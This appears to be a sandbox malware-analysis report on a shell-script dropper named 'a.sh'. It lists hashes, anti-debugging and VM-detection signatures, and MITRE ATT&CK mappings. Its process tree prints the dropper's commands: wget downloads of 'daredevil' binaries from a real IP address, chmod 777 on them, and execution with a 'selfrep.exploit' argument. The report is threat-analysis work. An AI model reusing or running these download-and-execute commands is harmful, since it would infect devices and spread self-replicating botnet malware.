313f1cc015825a48d91e8ffc1739543fbb1a6471e279814409479f5647b1ec54

Analysis

max time kernel
3s
max time network
4s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
23/08/2026, 14:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
a.sh
Size 1KB
Sample260823-ry8w7asvgx
SHA256 313f1cc015825a48d91e8ffc1739543fbb1a6471e279814409479f5647b1ec54
MD5 798a030f12f428c2a8d227ffbba86d7a
SHA1 7654c34c68c8516bfbf8b033ca79bc5b227098e9
SHA512 918866ddae9464411b13e891a50bc6129dd70a419b4ac655701e19d73c6f0621e1401f04fd93235ffbb733da59bb047e839e17424ad813de90a90357a748b413
TLSH
T18D11C4FD30A77713EBA9CD15F5A0A6747217E1DAB1CF1A8CF88D2467CC46840751BA01
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
719	chmod

Traces itself 3 IoCs

Traces itself to prevent debugging attempts

pid	Process
720	daredevil.armv7l
725	daredevil.armv5l
729	daredevil.armv4l

Checks hardware identifiers (DMI) 1 TTPs 3 IoCs

Checks DMI information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/sys/class/dmi/id/product_name	daredevil.armv7l
File opened for reading	/sys/class/dmi/id/product_name	daredevil.armv5l
File opened for reading	/sys/class/dmi/id/product_name	daredevil.armv4l

Reads runtime system information 7 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/uptime	daredevil.armv5l
File opened for reading	/proc/self/exe	daredevil.armv6l
File opened for reading	/proc/self/exe	daredevil.armv4l
File opened for reading	/proc/uptime	daredevil.armv4l
File opened for reading	/proc/self/exe	daredevil.armv7l
File opened for reading	/proc/uptime	daredevil.armv7l
File opened for reading	/proc/self/exe	daredevil.armv5l

System Network Configuration Discovery 1 TTPs 4 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
669	wget
721	daredevil.mips
723	daredevil.mipsel
667	wget

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/daredevil.armv7l	wget
File opened for modification	/tmp/daredevil.mips	wget
File opened for modification	/tmp/daredevil.mipsel	wget
File opened for modification	/tmp/daredevil.armv5l	wget
File opened for modification	/tmp/daredevil.armv6l	wget
File opened for modification	/tmp/daredevil.x86_64	wget
File opened for modification	/tmp/daredevil.armv4l	wget

/tmp/a.sh
/tmp/a.sh
1⤵
PID:640
- /bin/rm
  rm -f "daredevil.*"
  2⤵
  PID:641
- /usr/bin/wget
  wget http://176.65.139.202/daredevil.armv7l
  2⤵
  - Writes file to tmp directory
  PID:644
- /usr/bin/wget
  wget http://176.65.139.202/daredevil.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:667
- /usr/bin/wget
  wget http://176.65.139.202/daredevil.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:669
- /usr/bin/wget
  wget http://176.65.139.202/daredevil.armv5l
  2⤵
  - Writes file to tmp directory
  PID:670
- /usr/bin/wget
  wget http://176.65.139.202/daredevil.armv6l
  2⤵
  - Writes file to tmp directory
  PID:677
- /usr/bin/wget
  wget http://176.65.139.202/daredevil.x86_64
  2⤵
  - Writes file to tmp directory
  PID:694
- /usr/bin/wget
  wget http://176.65.139.202/daredevil.armv4l
  2⤵
  - Writes file to tmp directory
  PID:711
- /bin/chmod
  chmod 777 daredevil.armv4l daredevil.armv5l daredevil.armv6l daredevil.armv7l daredevil.mips daredevil.mipsel daredevil.x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:719
- /tmp/daredevil.armv7l
  ./daredevil.armv7l selfrep.exploit
  2⤵
  - Traces itself
  - Checks hardware identifiers (DMI)
  - Reads runtime system information
  PID:720
- /tmp/daredevil.mips
  ./daredevil.mips selfrep.exploit
  2⤵
  - System Network Configuration Discovery
  PID:721
- /tmp/daredevil.mipsel
  ./daredevil.mipsel selfrep.exploit
  2⤵
  - System Network Configuration Discovery
  PID:723
- /tmp/daredevil.armv5l
  ./daredevil.armv5l selfrep.exploit
  2⤵
  - Traces itself
  - Checks hardware identifiers (DMI)
  - Reads runtime system information
  PID:725
- /tmp/daredevil.armv6l
  ./daredevil.armv6l selfrep.exploit
  2⤵
  - Reads runtime system information
  PID:726
- /tmp/daredevil.x86_64
  ./daredevil.x86_64 selfrep.exploit
  2⤵
  PID:727
- /tmp/daredevil.armv4l
  ./daredevil.armv4l selfrep.exploit
  2⤵
  - Traces itself
  - Checks hardware identifiers (DMI)
  - Reads runtime system information
  PID:729

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads